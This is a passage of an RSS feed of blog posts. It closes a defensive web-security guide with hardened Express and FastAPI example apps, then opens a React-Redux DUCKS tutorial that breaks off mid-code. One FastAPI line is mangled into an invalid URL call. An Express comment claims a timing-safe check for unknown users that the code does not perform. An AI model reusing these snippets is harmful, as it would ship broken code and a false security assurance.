&lt; becomes &amp;lt;, &gt; becomes &amp;gt;, etc. Now &lt;script&gt; displays as the literal characters instead of executing. Modern frameworks do this by default — <strong>React escapes everything in </strong><strong>{}</strong>, and template engines (Jinja2, etc.) autoescape. The danger is when you <em>opt out</em>: dangerouslySetInnerHTML in React, |safe in Jinja, v-html in Vue, or .innerHTML in raw JS. Treat every one of those as &quot;I am now responsible for this being safe.&quot;</li><li><strong>Sanitization (when you must render real HTML).</strong> Sometimes you genuinely need to render user-authored rich HTML (a WYSIWYG editor, markdown). Then you can’t just escape — you must <strong>sanitize</strong>: parse the HTML and strip anything dangerous (scripts, event handlers, javascript: URLs), keeping a safe allowlist of tags. Node/isomorphic: <strong>DOMPurify</strong>. Python: <strong>nh3</strong> (a fast Rust-based sanitizer, the maintained replacement for the <strong>deprecated </strong><strong>bleach</strong>). Never write your own HTML sanitizer with regex — it&#39;s a graveyard.</li><li><strong>Content-Security-Policy (the backstop).</strong> A strict CSP (script-src &#39;self&#39;, no &#39;unsafe-inline&#39;) means that even if a payload slips through, the browser refuses to execute inline or off-origin scripts. CSP (§5) is what turns &quot;XSS bug&quot; into &quot;XSS bug that didn&#39;t fire.&quot; Also set the session cookie <strong>httpOnly</strong> so that even successful XSS can&#39;t read it via document.cookie.</li></ol><p><strong>Gotcha.</strong> XSS and validation (§7) are different jobs: validation checks input shape on the way <em>in</em>; XSS defense is about safe rendering on the way <em>out</em>. The same “bio” field can be perfectly valid text and still be an XSS payload — you need output encoding regardless of validation.</p><h3>11. Secrets management</h3><p><strong>Defends against:</strong> Leaked keys/tokens in code or history.</p><p><strong>What the problem is.</strong> Applications need secrets: database passwords, API keys, JWT signing keys, third-party tokens, encryption keys. The failure mode is putting them where they don’t belong — hardcoded in source, committed to git, baked into a Docker image, printed in logs, or passed in a URL. Any of these leaks them to everyone with access to the repo, the image registry, the log store, or a shared screen. And git is forever: a secret committed once and “removed” in a later commit is still sitting in history for anyone who clones the repo. Bots continuously scan public (and leaked private) repos for key patterns and exploit them within <em>minutes</em> — there are well-documented cases of AWS keys pushed to GitHub racking up huge bills before the developer noticed.</p><p><strong>The layered fix.</strong></p><ul><li><strong>Never in code.</strong> Read secrets from the <strong>environment</strong> at runtime. In code you reference process.env.API_KEY / settings.api_key, never the literal value.</li><li><strong>Local dev: </strong><strong>.env files.</strong> A .gitignored .env file loaded by dotenv (Node) or pydantic-settings/python-dotenv (Python) is fine for local development. The .gitignore entry is essential, and add a committed .env.example with <em>empty</em> placeholders so teammates know what&#39;s needed without leaking values.</li><li><strong>Production: a real secret manager.</strong> Use <strong>AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, or HashiCorp Vault</strong>. These store secrets encrypted, control access via IAM, provide an audit log of who read what, and support <strong>rotation</strong> (changing a secret on a schedule or after suspected compromise without a redeploy). The app fetches secrets at boot or via a sidecar/CSI driver — they never live on disk in plaintext or in the image.</li><li><strong>pydantic-settings</strong> (Python) is especially nice: it declares required settings as a typed model that <strong>fails fast at startup</strong> if a required secret is missing, so you never boot half-configured.</li></ul><p><strong>Operational hygiene.</strong></p><ul><li><strong>Scan for leaks.</strong> Run secret scanners (gitleaks, trufflehog, GitHub secret scanning / push protection) in CI and on history. Enable push protection so a secret is blocked <em>before</em> it&#39;s committed.</li><li><strong>If a secret leaks, rotate it — don’t just delete the commit.</strong> Deleting from history doesn’t help if someone already cloned it. Assume it’s compromised and rotate immediately.</li><li><strong>Least privilege + short TTLs.</strong> Scope each key to exactly what it needs; prefer short-lived, auto-rotated credentials over long-lived static keys.</li><li><strong>Never log secrets or put them in URLs</strong> (URLs land in server logs, browser history, and referrer headers). Keep them in headers or bodies, and redact them in logs (§12).</li></ul><h3>12. Logging</h3><p><strong>Defends against:</strong> Blind spots, undetected incidents, forensic gaps.</p><p><strong>Why logging is a security control.</strong> You cannot detect, investigate, or prove an incident you have no record of. When something goes wrong — a breach, an abuse pattern, a subtle bug — logs are the only account of what actually happened: who did what, when, from where, and with what result. Good logging shrinks your <strong>mean time to detect</strong> and <strong>mean time to respond</strong>; bad or absent logging means an attacker can be inside for months (the industry average dwell time is measured in <em>weeks to months</em>) with no trace. Logging is also frequently a <strong>compliance requirement</strong> (SOC 2, PCI-DSS, HIPAA, GDPR all expect audit trails).</p><p><strong>What “good” looks like — structured logging.</strong> Log <strong>structured JSON</strong>, not free-text strings. Instead of &quot;user 42 logged in from 1.2.3.4&quot;, emit {&quot;level&quot;:&quot;info&quot;,&quot;event&quot;:&quot;login&quot;,&quot;user_id&quot;:42,&quot;ip&quot;:&quot;1.2.3.4&quot;,&quot;trace_id&quot;:&quot;abc&quot;,&quot;ts&quot;:&quot;...&quot;}. Structured logs are <em>queryable</em>: you can filter, aggregate, and alert across millions of events (&quot;show every failed login for user 42 in the last hour&quot;), which is impossible with grep on prose. Include consistent fields on every line: <strong>timestamp, level, service name, and a request/trace id.</strong></p><p><strong>The single most valuable field: a correlation (trace) id.</strong> Generate a unique id per incoming request (or accept one from the edge), attach it to every log line that request produces, and <strong>propagate it across service boundaries</strong> (pass it in a header to downstream services). Now, when something fails, one trace_id stitches together the complete journey of that request across your whole system — API gateway, auth service, database call, third-party call — turning a needle-in-a-haystack hunt into a single filter. This is the backbone of <strong>distributed tracing</strong> (OpenTelemetry, Jaeger).</p><p><strong>What you must NOT log.</strong> Logs are a liability if they contain secrets or personal data. <strong>Never log passwords, tokens, API keys, full credit-card numbers, or unnecessary PII.</strong> A leaked log store full of plaintext secrets is its own breach — and logging PII can itself violate GDPR/CCPA. Redact sensitive fields at the logging layer (mask a password to ***, truncate a card to last-4). Be deliberate about what&#39;s captured.</p><p><strong>Levels, shipping, and alerting.</strong> Use log <strong>levels</strong> meaningfully (debug/info/warn/error) so you can dial verbosity per environment. <strong>Ship</strong> logs off the box to a central store (Loki, ELK/OpenSearch, or a cloud logging service) so they survive a crash and are searchable across instances. Then <strong>alert on symptoms</strong> — spikes in 5xx, auth failures, or 429s — and pair logs with <strong>metrics</strong> (Prometheus/Grafana) and <strong>traces</strong> for the full observability picture. Security-specific: log auth events (login success/failure, privilege changes), access to sensitive resources, and admin actions as an audit trail.</p><p><strong>Tooling.</strong> Node: <strong>pino</strong> — extremely fast, structured JSON by default (winston is the flexible alternative). Python: <strong>structlog</strong> for structured JSON (or loguru for ergonomics; the stdlib logging works but needs configuration to emit JSON).</p><h3>13. Dependency scanning</h3><p><strong>Defends against:</strong> Known-CVE packages in your supply chain.</p><p><strong>Why this is now a top-tier risk.</strong> Modern apps are mostly <em>other people’s code</em>. A typical Node or Python project pulls in hundreds to thousands of transitive dependencies, and <strong>you are only as secure as the weakest one</strong>. A vulnerability in any package in that tree — even one you’ve never heard of, pulled in five levels deep by something you <em>did</em> choose — is a vulnerability in your app. This is <strong>supply-chain risk</strong>, and it’s behind some of the largest incidents in recent memory (Log4Shell in log4j, the event-stream and later npm compromises, malicious &quot;typosquatted&quot; packages, and maintainer-account takeovers that ship backdoored updates).</p><p><strong>The two distinct threats.</strong></p><ol><li><strong>Known vulnerabilities (CVEs) in legitimate packages.</strong> A real, popular library has a bug that’s been discovered, assigned a CVE, and (usually) patched in a newer version. If you’re pinned to the old version, you’re exposed. This is the common case and the easiest to fix — <em>update</em>.</li><li><strong>Malicious packages.</strong> An attacker publishes a package that is <em>intentionally</em> harmful: <strong>typosquatting</strong> (a name one keystroke off a popular package), <strong>dependency confusion</strong> (tricking your build into pulling a public package instead of your private one of the same name), or a compromised maintainer pushing a poisoned update. These need behavioral scanning, not just CVE matching.</li></ol><p><strong>How scanning defends you.</strong> A scanner compares your exact dependency tree (from your lockfile) against vulnerability databases (the CVE list, GitHub Advisory Database, OSV) and flags anything with a known issue, its severity, and the fixed version. You run it <strong>on every build in CI</strong> and <strong>fail the build on high/critical severity</strong>, so a vulnerable dependency can’t ship. Layer in automated update PRs so patches land quickly.</p><p><strong>The toolchain.</strong></p><ul><li><strong>Node: </strong><strong>npm audit</strong> (built in) as the baseline; add <strong>Dependabot</strong> (GitHub&#39;s automated dependency-update PRs) and <strong>osv-scanner</strong> (Google&#39;s cross-ecosystem scanner) in CI. Commercial options like Snyk and Socket add deeper analysis (Socket specifically flags <em>malicious</em> behavior, not just known CVEs).</li><li><strong>Python: </strong><strong>pip-audit</strong> as the baseline; safety is an alternative; again pair with <strong>Dependabot</strong> and <strong>osv-scanner</strong>.</li></ul><p><strong>Operational practices that make this work.</strong></p><ul><li><strong>Commit your lockfile</strong> (package-lock.json, poetry.lock, uv.lock) so builds are reproducible and scannable against exact versions.</li><li><strong>Keep dependencies current and lean.</strong> Fewer dependencies = smaller attack surface. Prune what you don’t use; be skeptical of adding a package for something trivial.</li><li><strong>Pin and review updates.</strong> Auto-merge patch-level security fixes, but review major updates and new dependencies (who maintains it? how popular? recent suspicious changes?).</li><li><strong>Generate an SBOM</strong> (Software Bill of Materials) for real supply-chain visibility, and enable <strong>npm/registry provenance</strong> where available.</li><li>Remember scanners only catch <em>known</em> issues — combine them with the other twelve practices, least privilege, and keeping your runtime/base images patched.</li></ul><h3>Node / Express — complete, commented app</h3><h3>Install everything in one go</h3><p>bash</p><pre># Runtime dependencies<br>npm install express helmet cors express-rate-limit rate-limit-redis redis \<br>  jose argon2 zod csrf-csrf cookie-parser dotenv pino pino-http \<br>  isomorphic-dompurify @prisma/client<br># Dev + tooling (Prisma CLI, types, auditing via built-in npm audit)<br>npm install -D prisma @types/express @types/cookie-parser typescript tsx</pre><h3>server.ts</h3><p>ts</p><pre>import &quot;dotenv/config&quot;;                       // (11) load .env for LOCAL dev only<br>import express from &quot;express&quot;;<br>import helmet from &quot;helmet&quot;;                   // (5) security headers<br>import cors from &quot;cors&quot;;                       // (4) CORS<br>import cookieParser from &quot;cookie-parser&quot;;<br>import rateLimit from &quot;express-rate-limit&quot;;    // (6) rate limiting<br>import { RedisStore } from &quot;rate-limit-redis&quot;;<br>import { createClient } from &quot;redis&quot;;<br>import { SignJWT, jwtVerify } from &quot;jose&quot;;     // (2) JWT auth (modern lib)<br>import argon2 from &quot;argon2&quot;;                   // (3) Argon2id password hashing<br>import { z } from &quot;zod&quot;;                       // (7) input validation<br>import { doubleCsrf } from &quot;csrf-csrf&quot;;        // (9) CSRF (replaces deprecated csurf)<br>import DOMPurify from &quot;isomorphic-dompurify&quot;;  // (10) XSS sanitization for rich HTML<br>import { PrismaClient } from &quot;@prisma/client&quot;; // (8) SQL injection-safe ORM<br>import pino from &quot;pino&quot;;<br>import pinoHttp from &quot;pino-http&quot;;              // (12) structured logging<br><br>// ---- (11) Secrets: read from env; in PROD these come from a cloud secret manager ----<br>const JWT_SECRET = new TextEncoder().encode(process.env.JWT_SECRET!);<br>const CSRF_SECRET = process.env.CSRF_SECRET!;<br>const log = pino();                            // (12) JSON logger<br>const prisma = new PrismaClient();<br>const redis = createClient({ url: process.env.REDIS_URL });<br>await redis.connect();<br>const app = express();<br>app.use(pinoHttp({ logger: log }));            // (12) log every request w/ correlation id<br>app.use(express.json({ limit: &quot;100kb&quot; }));     // cap body size (DoS hardening)<br>app.use(cookieParser());<br>// ---- (5) Security headers: HSTS, X-Frame-Options, nosniff, CSP - all via Helmet ----<br>app.use(helmet({<br>  hsts: { maxAge: 31536000, includeSubDomains: true, preload: true }, // Strict-Transport-Security<br>  frameguard: { action: &quot;deny&quot; },                                     // X-Frame-Options: DENY<br>  // X-Content-Type-Options: nosniff is on by default in Helmet<br>  contentSecurityPolicy: {                                            // CSP - backstops XSS<br>    directives: { defaultSrc: [&quot;&#39;self&#39;&quot;], scriptSrc: [&quot;&#39;self&#39;&quot;], objectSrc: [&quot;&#39;none&#39;&quot;] },<br>  },<br>}));<br>// ---- (4) CORS: strict allowlist, credentials enabled ----<br>app.use(cors({<br>  origin: [&quot;https://app.example.com&quot;],   // never &quot;*&quot; with credentials<br>  credentials: true,<br>  methods: [&quot;GET&quot;, &quot;POST&quot;],<br>}));<br>// ---- (6) Rate limiting: Redis-backed so it works across instances ----<br>app.use(rateLimit({<br>  windowMs: 15 * 60_000,                 // 15 min window<br>  max: 100,                              // 100 requests / IP / window<br>  standardHeaders: true,<br>  store: new RedisStore({ sendCommand: (...args) =&gt; redis.sendCommand(args) }),<br>}));<br>// ---- (9) CSRF: double-submit cookie pattern (csrf-csrf) ----<br>const { doubleCsrfProtection, generateCsrfToken } = doubleCsrf({<br>  getSecret: () =&gt; CSRF_SECRET,<br>  getSessionIdentifier: (req) =&gt; req.cookies[&quot;session&quot;] ?? &quot;anon&quot;,<br>  cookieName: &quot;__Host-csrf&quot;,             // __Host- prefix hardens the cookie<br>  cookieOptions: { sameSite: &quot;strict&quot;, secure: true, httpOnly: true },<br>  getCsrfTokenFromRequest: (req) =&gt; req.headers[&quot;x-csrf-token&quot;] as string,<br>});<br>// Hand the SPA a CSRF token to echo back on mutations<br>app.get(&quot;/csrf-token&quot;, (req, res) =&gt; res.json({ token: generateCsrfToken(req, res) }));<br>// ---- (7) Input validation: zod schema = runtime check + TS type ----<br>const RegisterSchema = z.object({<br>  email: z.string().email(),<br>  password: z.string().min(12).max(128),<br>  bio: z.string().max(500).optional(),<br>});<br>// ---- (2)(3)(7)(8)(10) Registration: validate → hash → sanitize → store ----<br>app.post(&quot;/register&quot;, async (req, res) =&gt; {<br>  const parsed = RegisterSchema.safeParse(req.body);          // (7) validate<br>  if (!parsed.success) return res.status(422).json({ errors: parsed.error.issues });<br>  const { email, password, bio } = parsed.data;<br>  const passwordHash = await argon2.hash(password, {          // (3) Argon2id (defaults are id)<br>    type: argon2.argon2id, memoryCost: 65536, timeCost: 3, parallelism: 4,<br>  });<br>  const safeBio = bio ? DOMPurify.sanitize(bio) : null;       // (10) strip any XSS payload<br>  // (8) Prisma parameterizes automatically - no string-built SQL, no injection<br>  const user = await prisma.user.create({ data: { email, passwordHash, bio: safeBio } });<br>  log.info({ userId: user.id }, &quot;user registered&quot;);          // (12) structured log, no secrets<br>  res.status(201).json({ id: user.id });<br>});<br>// ---- (2)(3) Login: verify hash → issue JWT ----<br>app.post(&quot;/login&quot;, async (req, res) =&gt; {<br>  const { email, password } = req.body ?? {};<br>  const user = await prisma.user.findUnique({ where: { email } });<br>  // argon2.verify is constant-time; run it even on unknown users to avoid timing leaks<br>  const ok = user &amp;&amp; (await argon2.verify(user.passwordHash, password ?? &quot;&quot;));<br>  if (!ok) return res.status(401).json({ error: &quot;invalid credentials&quot; });<br>  const token = await new SignJWT({ sub: user.id })            // (2) sign JWT<br>    .setProtectedHeader({ alg: &quot;HS256&quot; })<br>    .setIssuer(&quot;https://api.example.com&quot;).setAudience(&quot;app&quot;)<br>    .setExpirationTime(&quot;15m&quot;).sign(JWT_SECRET);<br>  res.json({ token });<br>});<br>// ---- (2) Auth middleware: verify signature, exp, aud, iss ----<br>async function requireAuth(req: any, res: any, next: any) {<br>  const token = req.headers.authorization?.replace(&quot;Bearer &quot;, &quot;&quot;);<br>  if (!token) return res.status(401).json({ error: &quot;missing token&quot; });<br>  try {<br>    const { payload } = await jwtVerify(token, JWT_SECRET, {<br>      issuer: &quot;https://api.example.com&quot;, audience: &quot;app&quot;,<br>    });<br>    req.userId = payload.sub;<br>    next();<br>  } catch {<br>    res.status(401).json({ error: &quot;invalid token&quot; });<br>  }<br>}<br>// Protected + CSRF-guarded mutation<br>app.post(&quot;/account/delete&quot;, requireAuth, doubleCsrfProtection, async (req: any, res) =&gt; {<br>  await prisma.user.delete({ where: { id: req.userId } });<br>  res.json({ deleted: true });<br>});<br>// ---- (12) Centralized error logging (4-arg error middleware, registered last) ----<br>app.use((err: any, req: any, res: any, _next: any) =&gt; {<br>  log.error({ err, reqId: req.id }, &quot;request failed&quot;);<br>  res.status(err.status ?? 500).json({ error: &quot;internal error&quot; });<br>});<br>app.listen(3000, () =&gt; log.info(&quot;listening on :3000&quot;));<br>// (1) TLS: terminate at Nginx/Caddy/managed platform in front of this process.<br>// (13) Dependency scanning: run `npm audit --audit-level=high` in CI + enable Dependabot.</pre><h3>Python / FastAPI — complete, commented app</h3><h3>Install everything in one go</h3><p>bash</p><pre>pip install &quot;fastapi[standard]&quot; uvicorn &quot;pydantic-settings&quot; \<br>  &quot;pyjwt[crypto]&quot; argon2-cffi &quot;sqlalchemy[asyncio]&quot; asyncpg \<br>  fastapi-limiter redis fastapi-csrf-protect nh3 structlog pip-audit</pre><h3>main.py</h3><p>python</p><pre>from contextlib import asynccontextmanager<br>import nh3                                        # (10) XSS sanitizer (replaces deprecated bleach)<br>import jwt                                         # (2) PyJWT<br>import structlog                                   # (12) structured JSON logging<br>from argon2 import PasswordHasher                  # (3) Argon2id hashing<br>from argon2.exceptions import VerifyMismatchError<br>from fastapi import Depends, FastAPI, HTTPException, Request, Response<br>from fastapi.middleware.cors import CORSMiddleware # (4) CORS<br>from fastapi.security import OAuth2PasswordBearer<br>from pydantic import BaseModel, EmailStr, Field    # (7) input validation<br>from pydantic_settings import BaseSettings         # (11) secrets/config<br>from fastapi_csrf_protect import CsrfProtect       # (9) CSRF (double-submit)<br>from fastapi_csrf_protect.exceptions import CsrfProtectError<br>from fastapi_limiter import FastAPILimiter         # (6) rate limiting (Redis)<br>from fastapi_limiter.depends import RateLimiter<br>import redis.asyncio as aioredis<br>from sqlalchemy import String, select<br>from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_async_engine<br>from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column<br><br>log = structlog.get_logger()                       # (12) JSON logger<br>ph = PasswordHasher(memory_cost=65536, time_cost=3, parallelism=4)  # (3) Argon2id params<br><br># ---- (11) Secrets: pydantic-settings reads env; in PROD inject from a cloud secret manager ----<br>class Settings(BaseSettings):<br>    jwt_secret: str<br>    database_url: str<br>    redis_url: str = &quot;redis://localhost:6379&quot;<br>    csrf_secret: str<br>settings = Settings()  # raises if a required secret is missing - fail fast<br><br># ---- (9) CSRF configuration ----<br>class CsrfSettings(BaseModel):<br>    secret_key: str = settings.csrf_secret<br>    cookie_samesite: str = &quot;strict&quot;<br>@CsrfProtect.load_config<br>def _csrf_config():<br>    return CsrfSettings()<br><br># ---- (8) SQLAlchemy 2.0 async - parameterized queries, no SQL injection ----<br>class Base(DeclarativeBase): ...<br>class User(Base):<br>    __tablename__ = &quot;users&quot;<br>    id: Mapped[int] = mapped_column(primary_key=True)<br>    email: Mapped[str] = mapped_column(String, unique=True, index=True)<br>    password_hash: Mapped[str] = mapped_column(String)<br>    bio: Mapped[str | None] = mapped_column(String, nullable=True)<br>engine = create_async_engine(settings.database_url, pool_pre_ping=True)<br>SessionLocal = async_sessionmaker(engine, expire_on_commit=False)<br>async def get_db() -&gt; AsyncSession:<br>    async with SessionLocal() as session:<br>        yield session<br><br>@asynccontextmanager<br>async def lifespan(app: FastAPI):<br>    await FastAPILimiter.init(aioredis.from_url(https://medium.com/settings.redis_url))  # (6) init rate limiter<br>    yield<br><br>app = FastAPI(lifespan=lifespan)<br># ---- (5) Security headers middleware (no Helmet in FastAPI - set them explicitly) ----<br>@app.middleware(&quot;http&quot;)<br>async def security_headers(request: Request, call_next):<br>    response = await call_next(request)<br>    response.headers[&quot;Strict-Transport-Security&quot;] = &quot;max-age=31536000; includeSubDomains; preload&quot;<br>    response.headers[&quot;X-Frame-Options&quot;] = &quot;DENY&quot;               # clickjacking<br>    response.headers[&quot;X-Content-Type-Options&quot;] = &quot;nosniff&quot;     # MIME sniffing<br>    response.headers[&quot;Content-Security-Policy&quot;] = (            # backstops XSS<br>        &quot;default-src &#39;self&#39;; script-src &#39;self&#39;; object-src &#39;none&#39;&quot;<br>    )<br>    return response<br># ---- (4) CORS: strict allowlist ----<br>app.add_middleware(<br>    CORSMiddleware,<br>    allow_origins=[&quot;https://app.example.com&quot;],  # never &quot;*&quot; with credentials<br>    allow_credentials=True,<br>    allow_methods=[&quot;GET&quot;, &quot;POST&quot;],<br>    allow_headers=[&quot;Authorization&quot;, &quot;X-CSRF-Token&quot;],<br>)<br># ---- (9) CSRF error handler ----<br>@app.exception_handler(CsrfProtectError)<br>async def csrf_error(request: Request, exc: CsrfProtectError):<br>    return Response(status_code=exc.status_code, content=exc.message)<br><br>oauth2 = OAuth2PasswordBearer(tokenUrl=&quot;login&quot;)<br># ---- (7) Input validation: Pydantic model → automatic 422 on bad input ----<br>class RegisterIn(BaseModel):<br>    email: EmailStr<br>    password: str = Field(min_length=12, max_length=128)<br>    bio: str | None = Field(default=None, max_length=500)<br><br># ---- (2)(3)(7)(8)(10) Registration: validate → hash → sanitize → store ----<br>@app.post(&quot;/register&quot;, status_code=201, dependencies=[Depends(RateLimiter(times=5, minutes=15))])<br>async def register(body: RegisterIn, db: AsyncSession = Depends(get_db)):<br>    password_hash = ph.hash(body.password)                     # (3) Argon2id<br>    safe_bio = nh3.clean(body.bio) if body.bio else None       # (10) strip XSS payloads<br>    user = User(email=body.email, password_hash=password_hash, bio=safe_bio)<br>    db.add(user)                                               # (8) ORM parameterizes - safe<br>    await db.commit()<br>    await db.refresh(user)<br>    log.info(&quot;user_registered&quot;, user_id=user.id)               # (12) structured, no secrets<br>    return {&quot;id&quot;: user.id}<br><br># ---- (2)(3)(6) Login: rate-limited, verify hash, issue JWT ----<br>@app.post(&quot;/login&quot;, dependencies=[Depends(RateLimiter(times=5, minutes=15))])  # (6) throttle brute force<br>async def login(email: str, password: str, db: AsyncSession = Depends(get_db)):<br>    user = (await db.execute(select(User).where(User.email == email))).scalar_one_or_none()<br>    try:<br>        if not user or not ph.verify(user.password_hash, password):  # (3) constant-time verify<br>            raise VerifyMismatchError<br>    except VerifyMismatchError:<br>        raise HTTPException(401, &quot;invalid credentials&quot;)<br>    token = jwt.encode(                                        # (2) sign JWT<br>        {&quot;sub&quot;: str(user.id), &quot;iss&quot;: &quot;https://api.example.com&quot;, &quot;aud&quot;: &quot;app&quot;},<br>        settings.jwt_secret, algorithm=&quot;HS256&quot;,<br>    )<br>    return {&quot;token&quot;: token}<br><br># ---- (2) Auth dependency: verify signature, aud, iss, exp ----<br>async def current_user(token: str = Depends(oauth2)) -&gt; str:<br>    try:<br>        payload = jwt.decode(<br>            token, settings.jwt_secret, algorithms=[&quot;HS256&quot;],<br>            audience=&quot;app&quot;, issuer=&quot;https://api.example.com&quot;,<br>        )<br>    except jwt.PyJWTError:<br>        raise HTTPException(401, &quot;invalid token&quot;)<br>    return payload[&quot;sub&quot;]<br><br># ---- (9) CSRF-protected + authenticated mutation ----<br>@app.post(&quot;/account/delete&quot;)<br>async def delete_account(<br>    request: Request,<br>    user_id: str = Depends(current_user),<br>    csrf: CsrfProtect = Depends(),<br>    db: AsyncSession = Depends(get_db),<br>):<br>    await csrf.validate_csrf(request)                          # (9) reject forged requests<br>    user = await db.get(User, int(user_id))<br>    if user:<br>        await db.delete(user)<br>        await db.commit()<br>    return {&quot;deleted&quot;: True}<br># (1)  TLS: terminate at Nginx/Caddy/managed platform in front of uvicorn.<br># (13) Dependency scanning: run `pip-audit` in CI + enable Dependabot.<br># Run: uvicorn main:app --host 0.0.0.0 --port 8000  (behind an HTTPS reverse proxy)</pre><h3>Wrapping up</h3><p>The security <em>concepts</em> are portable — the same 13 boxes need ticking whatever your stack. What changes is the package you reach for, and that list rots faster than most tutorials admit. The two things most likely to bite you in 2026:</p><ul><li><strong>Stop using </strong><strong>csurf (Node) and </strong><strong>bleach (Python).</strong> Both are deprecated. Use csrf-csrf and nh3.</li><li><strong>Default to Argon2id</strong> for new password storage; keep bcrypt only where it’s already deployed.</li></ul><p>Pin these choices, wire npm audit / pip-audit into CI, put a reverse proxy in front for TLS, and you&#39;ve covered the fundamentals in both stacks with current, maintained tooling.</p><p><em>Package recommendations verified against the OWASP Cheat Sheets, the Express deprecation notice, and PyPI/npm status as of mid-2026. Always re-check versions and CVEs before shipping — that’s what row 13 is for.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a3ea00b7ede8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[React-Redux: Quick Setup]]></title>
            <link>https://medium.com/@narendran.a.i/react-redux-quick-setup-38ea16cfe1dd?source=rss-36a5b0aded55------2</link>
            <guid isPermaLink="false">https://medium.com/p/38ea16cfe1dd</guid>
            <category><![CDATA[redux]]></category>
            <category><![CDATA[redux-toolkit]]></category>
            <category><![CDATA[react]]></category>
            <dc:creator><![CDATA[Narendran A I]]></dc:creator>
            <pubDate>Sun, 30 Mar 2025 18:52:43 GMT</pubDate>
            <atom:updated>2025-03-31T04:52:56.624Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Letter R image" src="https://cdn-images-1.medium.com/max/1024/1*ivrmwrj8Amex7gpAR310nw.jpeg" /></figure><p>A quick and modern React-Redux setup using the DUCKS pattern — perfect for developers who want a standardized, maintainable, and scalable Redux boilerplate. Set it up once and forget about state management hassles!<br>Also, I have provided an extra bonus step in this setup which is seldom talked about.</p><p>Since it’s a quick setup we are going to skip a lot of basic contents like</p><ul><li><a href="https://react-redux.js.org/tutorials/quick-start">React-Redux Basics</a></li><li><a href="https://github.com/YashNarK/notes/blob/main/frontend/ReduxPatterns.md">Different Redux Patterns</a></li></ul><h3>Understanding the Redux DUCKS Pattern (TypeScript Version)</h3><p>Redux has evolved over time, leading to different patterns for managing state. One of the most structured and modular approaches is the <strong>DUCKS pattern</strong>. In this blog, we’ll explore the DUCKS pattern step by step, with TypeScript code examples to demonstrate its effectiveness.</p><h3>What is the DUCKS Pattern?</h3><p>The <strong>DUCKS pattern</strong> is a modular way to organize Redux logic by grouping <strong>actions, reducers, and types</strong> into a single file per feature. Instead of splitting Redux into separate files (like actions.ts, reducers.ts, constants.ts), everything related to a feature is encapsulated in a single file.</p><h3>Why Use DUCKS?</h3><p>✅ <strong>Encapsulates related logic</strong> in one place<br>✅ <strong>Easier to maintain</strong> in large applications<br>✅ <strong>Reduces Redux boilerplate</strong><br>✅ <strong>Supports async actions (thunks)</strong><br>✅ <strong>Encourages feature-based structure</strong></p><h3>Folder Structure</h3><p>Instead of the traditional structure:</p><pre>/redux<br>  ├── actions/<br>  │   ├── userActions.ts<br>  ├── reducers/<br>  │   ├── userReducer.ts<br>  ├── constants/<br>  │   ├── userConstants.ts</pre><p>DUCKS pattern groups everything feature-wise:</p><pre>/redux<br>  ├── features/<br>  │   ├── userSlice.ts<br>  │   ├── productSlice.ts</pre><h3>Step-by-Step Implementation</h3><p>Let’s create a <strong>User Slice</strong> using the DUCKS pattern with Redux Toolkit and TypeScript.</p><h3>Step 1: Install Dependencies</h3><p>Make sure you have @reduxjs/toolkit, react-redux, and TypeScript installed:</p><pre>npm install @reduxjs/toolkit react-redux<br>npm install --save-dev @types/react-redux</pre><h3>Step 2: Create features</h3><p>Create a feature for MetaMask wallet.</p><p>📂 redux/features/metamaskSlice.ts</p><pre>import { createSlice, PayloadAction } from &quot;@reduxjs/toolkit&quot;;<br>export interface MetamaskState {<br>  ethBalance: number;<br>  fdtBalance: number;<br>  lpTokenBalance: number;<br>  address: string;<br>  network: string;<br>}<br>const name = &quot;metamask&quot;;<br>const initialState: MetamaskState = {<br>  ethBalance: 0,<br>  fdtBalance: 0,<br>  lpTokenBalance: 0,<br>  address: &quot;Connect Your Wallet for more info&quot;,<br>  network: &quot;&quot;,<br>};<br>const reducers = {<br>  setBalances(<br>    state: MetamaskState,<br>    action: PayloadAction&lt;Omit&lt;MetamaskState, &quot;address&quot; | &quot;network&quot;&gt;&gt;<br>  ) {<br>    state.ethBalance = action.payload.ethBalance;<br>    state.fdtBalance = action.payload.fdtBalance;<br>    state.lpTokenBalance = action.payload.lpTokenBalance;<br>  },<br>  setNetwork(<br>    state: MetamaskState,<br>    action: PayloadAction&lt;Pick&lt;MetamaskState, &quot;network&quot;&gt;&gt;<br>  ) {<br>    state.network = action.payload.network;<br>  },<br>  setAddress(<br>    state: MetamaskState,<br>    action: PayloadAction&lt;Pick&lt;MetamaskState, &quot;address&quot;&gt;&gt;<br>  ) {<br>    state.address = action.payload.address;<br>  },<br>  resetMetamask(): MetamaskState {<br>    return initialState;<br>  },<br>};<br>const metamaskSlice = createSlice({<br>  name,<br>  initialState,<br>  reducers,<br>});<br>export const { setBalances, setAddress, setNetwork, resetMetamask } =<br>  metamaskSlice.actions;<br>const metamaskReducer = metamaskSlice.reducer;<br>export default metamaskReducer;</pre><p>Create a feature for info tabs</p><p>📂 redux/features/infoSlice.ts</p><pre>import { createSlice, PayloadAction } from &quot;@reduxjs/toolkit&quot;;<br><br>export interface InfoState {<br>  lpTokenInCirculation: number;<br>  ethPerToken: number;<br>  tokenPerEth: number;<br>}<br><br>const name = &quot;info&quot;;<br><br>const initialState: InfoState = {<br>  lpTokenInCirculation: 0,<br>  ethPerToken: 0,<br>  tokenPerEth: 0,<br>};<br><br>const reducers = {<br>  setInfo(state: InfoState, action: PayloadAction&lt;Partial&lt;InfoState&gt;&gt;) {<br>    return { ...state, ...action.payload };<br>  },<br>  resetInfo(): InfoState {<br>    return initialState;<br>  },<br>};<br><br>const infoSlice = createSlice({<br>  name,<br>  initialState,<br>  reducers,<br>});<br><br>export const { setInfo, resetInfo } = infoSlice.actions;<br><br>const infoReducer = infoSlice.reducer;<br>export default infoReducer;</pre><h3>Step 3: Create a store and combine different features/slices</h3><p>📂 redux/store.ts</p><pre><br><br>// Import necessary functions and reducers from Redux Toolkit<br>import { configureStore } from &quot;@reduxjs/toolkit&quot;;<br>import metamaskReducer from &quot;./features/metamask/metamaskSlice&quot;;<br>import infoReducer from &quot;./features/info/infoSlice&quot;;<br><br>// Configure the Redux store with reducers for different state slices<br>const store = configureStore({<br>  reducer: {<br>    metamask: metamaskReducer, // Metamask state slice<br>    info: infoReducer, // Info state slice<br>  